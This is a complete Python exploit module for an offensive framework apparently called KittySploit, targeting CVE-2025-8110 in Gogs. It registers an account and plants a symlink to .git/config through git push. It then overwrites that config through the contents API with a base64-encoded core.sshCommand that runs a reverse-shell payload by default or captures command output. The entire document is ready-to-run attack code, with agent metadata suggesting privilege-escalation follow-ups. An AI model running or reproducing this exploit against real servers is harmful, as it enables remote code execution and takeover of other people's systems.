Gogs PutContents Symlink RCE (CVE-2025-8110)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2025-8110 — Gogs PutContents symlink-following arbitrary file write RCE."""

import base64
import json
import os
import re
import secrets
import shutil
import subprocess
import tempfile
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.response_validation import parse_json_response


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Gogs PutContents Symlink RCE (CVE-2025-8110)",
        "description": (
            "Exploits CVE-2025-8110 in Gogs <= 0.13.3: the PUT /api/v1/repos/.../contents/* "
            "handler skips the symlink guard on the API path, so a prior git push can plant "
            "link -> .git/config and a PutContents write poisons core.sshCommand for RCE on "
            "the following git push. Delivers the configured framework payload (reverse_tcp "
            "session by default). Requires an account that can create a repository and the "
            "git client binary on the attacker host."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2025-8110"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2025-8110",
            "https://github.com/advisories/GHSA-mq8m-42gh-wq7r",
            "https://www.wiz.io/blog/wiz-research-gogs-cve-2025-8110-rce-exploit",
        ],
        "platform": Platform.LINUX,
        "arch": [Arch.X86, Arch.X64],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "tags": [
            "gogs",
            "git",
            "symlink",
            "rce",
            "authenticated",
            "cve-2025-8110",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 8,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "cost": 2.5,
            "noise": 0.8,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["gogs", "git"],
                "endpoint_pattern_any": ["/user/sign_up", "/api/v1/"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "core.sshCommand"},
                    {"capability": "shell", "from_detail": "command output exfil"},
                ],
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                ],
            },
        },
    }

    port = OptPort(3000, "Gogs HTTP port", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    username = OptString("", "Existing Gogs username (auto-register if empty)", False)
    password = OptString("", "Password for existing account", False)
    repo = OptString("", "Repository name (random if empty)", False, advanced=True)
    branch = OptString("master", "Branch used for symlink commit and writes", False)
    cleanup = OptBool(True, "Delete the created repository after exploitation", False)
    verify_cmd = OptString(
        "id",
        "Command when set payload nopayload (output captured via pwn_output.txt)",
        False,
        advanced=True,
    )

    def _payload_command(self) -> str:
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        command = str(payload or "").strip()
        if command:
            return command
        return str(self.verify_cmd or "id").strip() or "id"

    def _capture_command_output(self) -> bool:
        if self._is_nopayload():
            return True
        path = self._get_configured_payload_path().lower()
        return "reverse" not in path and "bind" not in path

    def _prefix(self):
        return (self.path or "/").rstrip("/")

    def _api_path(self, suffix: str) -> str:
        prefix = self._prefix()
        suffix = suffix if suffix.startswith("/") else f"/{suffix}"
        return f"{prefix}{suffix}" if prefix else suffix

    def _csrf(self, html: str):
        match = re.search(r'name="_csrf"\s+value="([^"]+)"', html or "")
        return match.group(1) if match else None

    def _git_env(self):
        env = dict(os.environ)
        env.update(
            {
                "GIT_TERMINAL_PROMPT": "0",
                "GIT_AUTHOR_NAME": "poc",
                "GIT_AUTHOR_EMAIL": "[email protected]",
                "GIT_COMMITTER_NAME": "poc",
                "GIT_COMMITTER_EMAIL": "[email protected]",
            }
        )
        if bool(getattr(self, "ssl", False)):
            env["GIT_SSL_NO_VERIFY"] = "true"
        return env

    def _clone_url(self, user: str, token: str, repo: str) -> str:
        scheme = "https" if bool(getattr(self, "ssl", False)) else "http"
        host = str(getattr(self, "target", "") or getattr(self, "rhost", "") or "127.0.0.1")
        port = int(getattr(self, "port", 3000) or 3000)
        prefix = self._prefix()
        creds = f"{quote(user, safe='')}:{quote(token, safe='')}"
        default_port = scheme == "https" and port == 443 or scheme == "http" and port == 80
        netloc = host if default_port else f"{host}:{port}"
        return f"{scheme}://{creds}@{netloc}{prefix}/{user}/{repo}.git"

    def _poisoned_config(self, command: str, capture_output: bool = False) -> str:
        if capture_output:
            begin = "===ALIM8110-BEGIN==="
            end = "===ALIM8110-END==="
            inner = "".join(
                [
                    f"{{ echo '{begin}'; {command} 2>&1; echo '{end}'; }} > pwn_output.txt 2>&1\n",
                    "u=$(sed -n 's/.*clone: from //p' .git/logs/HEAD | head -n1)\n",
                    "printf '[core]\\n\\trepositoryformatversion = 0\\n\\tbare = false\\n"
                    "\\tlogallrefupdates = true\\n[remote \"origin\"]\\n\\turl = %s\\n"
                    "\\tfetch = +refs/heads/*:refs/remotes/origin/*\\n[branch \"master\"]\\n"
                    "\\tremote = origin\\n\\tmerge = refs/heads/master\\n' \"$u\" > .git/config\n",
                ]
            )
        else:
            inner = "".join(
                [
                    f"nohup sh -c {json.dumps(command)} >/dev/null 2>&1 &\n",
                    "u=$(sed -n 's/.*clone: from //p' .git/logs/HEAD | head -n1)\n",
                    "printf '[core]\\n\\trepositoryformatversion = 0\\n\\tbare = false\\n"
                    "\\tlogallrefupdates = true\\n[remote \"origin\"]\\n\\turl = %s\\n"
                    "\\tfetch = +refs/heads/*:refs/remotes/origin/*\\n[branch \"master\"]\\n"
                    "\\tremote = origin\\n\\tmerge = refs/heads/master\\n' \"$u\" > .git/config\n",
                ]
            )
        b64 = base64.b64encode(inner.encode()).decode()
        sshcmd = f"sh -c 'echo {b64} | base64 -d | sh'"
        return (
            "[core]\n"
            "\trepositoryformatversion = 0\n"
            "\tbare = false\n"
            f"\tsshCommand = {sshcmd}\n"
            '[remote "origin"]\n'
            "\turl = ssh://x/y.git\n"
            "\tfetch = +refs/heads/*:refs/remotes/origin/*\n"
            '[branch "master"]\n'
            "\tremote = origin\n"
            "\tmerge = refs/heads/master\n"
        )

    def _register_account(self, user: str, passwd: str) -> bool:
        signup = self.http_request(
            method="GET",
            path=self._api_path("/user/sign_up"),
            session=True,
            allow_redirects=False,
            timeout=int(self.timeout or 60),
        )
        csrf = self._csrf((signup.text or "") if signup else "")
        if not csrf:
            return False
        self.http_request(
            method="POST",
            path=self._api_path("/user/sign_up"),
            data={
                "_csrf": csrf,
                "user_name": user,
                "email": f"{user}@lab.local",
                "password": passwd,
                "retype": passwd,
            },
            session=True,
            allow_redirects=True,
            timeout=int(self.timeout or 60),
        )
        return True

    def _mint_token(self, user: str, passwd: str):
        suffix = secrets.token_hex(4)
        response = self.http_request(
            method="POST",
            path=self._api_path(f"/api/v1/users/{user}/tokens"),
            data={"name": f"poc-{suffix}"},
            auth=(user, passwd),
            session=True,
            timeout=int(self.timeout or 60),
        )
        if not response or int(response.status_code or 0) not in (200, 201):
            return None
        body, err = parse_json_response(response)
        if err or not body:
            return None
        return body.get("sha1")

    def _create_repo(self, user: str, token: str, repo: str) -> bool:
        response = self.http_request(
            method="POST",
            path=self._api_path("/api/v1/user/repos"),
            json={"name": repo, "auto_init": True, "readme": "Default"},
            headers={"Authorization": f"token {token}"},
            session=True,
            timeout=int(self.timeout or 60),
        )
        return bool(response and int(response.status_code or 0) in (200, 201))

    def _plant_symlink(self, clone_url: str) -> bool:
        tmp = tempfile.mkdtemp(prefix="ks8110_")
        try:
            wt = os.path.join(tmp, "wt")
            env = self._git_env()
            clone = subprocess.run(
                ["git", "clone", "-q", clone_url, wt],
                env=env,
                capture_output=True,
                text=True,
            )
            if clone.returncode != 0:
                print_error(f"git clone failed: {(clone.stderr or clone.stdout or '')[:160]}")
                return False
            link_path = os.path.join(wt, "link")
            if os.path.lexists(link_path):
                os.unlink(link_path)
            os.symlink(".git/config", link_path)
            subprocess.run(["git", "add", "--all"], cwd=wt, env=env, check=True, capture_output=True)
            subprocess.run(
                ["git", "commit", "-qm", "add link"],
                cwd=wt,
                env=env,
                check=True,
                capture_output=True,
            )
            branch = str(self.branch or "master")
            push = subprocess.run(
                ["git", "push", "-q", "origin", f"HEAD:{branch}"],
                cwd=wt,
                env=env,
                capture_output=True,
                text=True,
            )
            if push.returncode != 0:
                print_error(f"git push failed: {(push.stderr or push.stdout or '')[:160]}")
                return False
            return True
        finally:
            shutil.rmtree(tmp, ignore_errors=True)

    def _delete_repo(self, user: str, token: str, repo: str):
        self.http_request(
            method="DELETE",
            path=self._api_path(f"/api/v1/repos/{user}/{repo}"),
            headers={"Authorization": f"token {token}"},
            session=True,
            timeout=int(self.timeout or 60),
        )

    def _run_chain(self, command: str, capture_output: bool):
        if not shutil.which("git"):
            return False, "git client binary not found on PATH", ""

        rnd = secrets.token_hex(4)
        user = (self.username or "").strip() or f"alim_{rnd}"
        passwd = (self.password or "").strip() or f"Alim-{rnd}-Pw1!"
        repo = (self.repo or "").strip() or f"poc_{rnd}"
        branch = str(self.branch or "master")

        if not (self.username or "").strip() or not (self.password or "").strip():
            print_status(f"Registering account {user}")
            if not self._register_account(user, passwd):
                return False, "registration failed (disabled or not Gogs?)", ""

        print_status("Minting API token")
        token = self._mint_token(user, passwd)
        if not token:
            return False, "API token mint failed", ""

        print_status(f"Creating repository {user}/{repo}")
        if not self._create_repo(user, token, repo):
            return False, "repository creation failed", ""

        clone_url = self._clone_url(user, token, repo)
        print_status("Pushing symlink link -> .git/config")
        if not self._plant_symlink(clone_url):
            return False, "symlink plant via git push failed", ""

        auth = {"Authorization": f"token {token}"}
        config = self._poisoned_config(command, capture_output=capture_output)
        print_status("PUT contents/link with poisoned .git/config")
        poison = self.http_request(
            method="PUT",
            path=self._api_path(f"/api/v1/repos/{user}/{repo}/contents/link"),
            json={
                "message": "update link",
                "branch": branch,
                "content": base64.b64encode(config.encode()).decode(),
            },
            headers=auth,
            session=True,
            timeout=int(self.timeout or 60),
        )
        poison_code = int(poison.status_code or 0) if poison else 0
        if poison_code == 200:
            return False, "poison write returned HTTP 200 — symlink not followed (patched?)", ""
        if poison_code != 500:
            return False, f"poison write returned unexpected HTTP {poison_code}", ""

        print_status("PUT contents/README.md to repair git config")
        commit = self.http_request(
            method="PUT",
            path=self._api_path(f"/api/v1/repos/{user}/{repo}/contents/README.md"),
            json={
                "message": "update readme",
                "branch": branch,
                "content": base64.b64encode(b"kittysploit-poc\n").decode(),
            },
            headers=auth,
            session=True,
            timeout=int(self.timeout or 60),
        )
        if not commit or int(commit.status_code or 0) not in (200, 201):
            if not capture_output:
                print_warning("Config repair write failed — session may still connect")
            else:
                return False, "second write failed — config repair may have broken", ""

        if not capture_output:
            if bool(getattr(self, "cleanup", True)):
                print_status(f"Deleting repository {user}/{repo}")
                self._delete_repo(user, token, repo)
            return True, "Payload delivered via core.sshCommand — check listener for session", ""

        print_status("GET contents/pwn_output.txt")
        fetch = self.http_request(
            method="GET",
            path=self._api_path(f"/api/v1/repos/{user}/{repo}/contents/pwn_output.txt"),
            headers=auth,
            session=True,
            timeout=int(self.timeout or 60),
        )
        if not fetch or int(fetch.status_code or 0) != 200:
            return False, "command output file not retrievable", ""

        body, err = parse_json_response(fetch)
        if err or not body:
            return False, "output file present but content undecodable", ""
        try:
            raw = base64.b64decode(body.get("content") or "").decode("utf-8", "replace")
        except Exception:
            return False, "output file present but base64 decode failed", ""

        begin = "===ALIM8110-BEGIN==="
        end = "===ALIM8110-END==="
        if begin in raw and end in raw:
            output = raw.split(begin, 1)[1].split(end, 1)[0].strip()
        else:
            output = raw.strip()
        if not output:
            return False, "command produced no output", ""

        if bool(getattr(self, "cleanup", True)):
            print_status(f"Deleting repository {user}/{repo}")
            self._delete_repo(user, token, repo)

        first = output.splitlines()[0] if output.splitlines() else output
        return True, f"RCE confirmed — '{command}' output: {first[:120]}", output

    def check(self):
        if not shutil.which("git"):
            return {
                "vulnerable": False,
                "reason": "git client binary not found on attacker PATH",
                "confidence": "high",
            }

        login = self.http_request(
            method="GET",
            path=self._api_path("/user/login"),
            allow_redirects=False,
            timeout=int(self.timeout or 20),
        )
        body = (login.text or "") if login else ""
        if not login or login.status_code != 200 or "Gogs" not in body:
            return {
                "vulnerable": False,
                "reason": "Gogs login panel not detected",
                "confidence": "medium",
            }

        signup = self.http_request(
            method="GET",
            path=self._api_path("/user/sign_up"),
            allow_redirects=False,
            timeout=int(self.timeout or 20),
        )
        has_signup = bool(signup and signup.status_code == 200 and self._csrf(signup.text or ""))
        if (self.username or "").strip() and (self.password or "").strip():
            reason = "Gogs detected; credentials supplied for authenticated exploit"
        elif has_signup:
            reason = "Gogs detected with open registration — exploit can auto-register"
        else:
            return {
                "vulnerable": False,
                "reason": "Gogs detected but registration closed and no credentials supplied",
                "confidence": "medium",
            }

        return {
            "vulnerable": True,
            "reason": reason,
            "confidence": "medium",
        }

    def run(self):
        try:
            print_status("CVE-2025-8110 — Gogs PutContents symlink RCE")

            result = self.check()
            if not result.get("vulnerable"):
                print_error(result.get("reason", "Target does not appear exploitable"))
                self.not_vulnerable()
                return False

            print_success(result.get("reason", "Target appears exploitable"))
            command = self._payload_command()
            capture_output = self._capture_command_output()
            if capture_output:
                print_status(f"Running verify command: {command}")
            else:
                print_status("Delivering framework payload — waiting for session on listener")
            ok, evidence, output = self._run_chain(command, capture_output)
            if not ok:
                print_error(evidence)
                self.not_vulnerable()
                return False

            print_success(evidence)
            if output:
                print_info(output)
            self.vulnerable()
            return True

        except FileNotFoundError:
            print_error("git client binary is required but was not found on PATH")
            return False
        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False